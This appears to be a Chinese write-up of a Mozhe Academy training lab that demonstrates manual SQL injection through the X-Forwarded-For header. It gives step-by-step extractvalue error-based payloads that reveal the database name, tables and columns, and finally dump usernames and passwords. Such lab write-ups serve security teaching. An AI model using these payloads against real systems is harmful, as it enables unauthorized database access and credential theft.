墨者学院-X-Forwarded-For注入漏洞实战
作者:互联网
这题怎么说呢,网上普遍的做法是当成xff来做,sqlmap直接爆破,这种方式还没有去尝试,但是难度不大,这里主要讲手工注入,对于sqlmap爆破的先不进行尝试。
开始注入:
一、审题
这题从题目,也可以看放包后的回显可以知道是http头的ip注入,尝试(题目有说)x-forwarded-for(这里的注入我很难主动想到,因为在原始的http头里没有x-forwarded-for,这题是题目有提醒)
二、判断类型
这里有1=1和1=2明确可以知道不是数字型注入
由此采用字符型注入
127.0.0.1’ and ‘1’='1
三、进行函数选择
这题用报错函数extratctvalue
直接开始注入
127.0.0.1’ and extractvalue(null,concat(0x74,(select database()),0x7e)) and ‘1’='1进行database()报错输入
四、爆表(table)
127.0.0.1’ and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘webcalendar’),0x7e)) and ‘1’='1
五、爆列(columns)
127.0.0.1’ and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘webcalendar’ and table_name=‘user’),0x7e)) and ‘1’='1
六、爆字段
127.0.0.1’ and extractvalue(null,concat(0x7e,(select group_concat(username,password)from user ),0x7e)) and ‘1’='1
账号密码就出来了
标签:127.0,Forwarded,0.1,0x7e,漏洞,table,注入,concat,墨者 来源: https://blog.csdn.net/weixin_38131137/article/details/104622089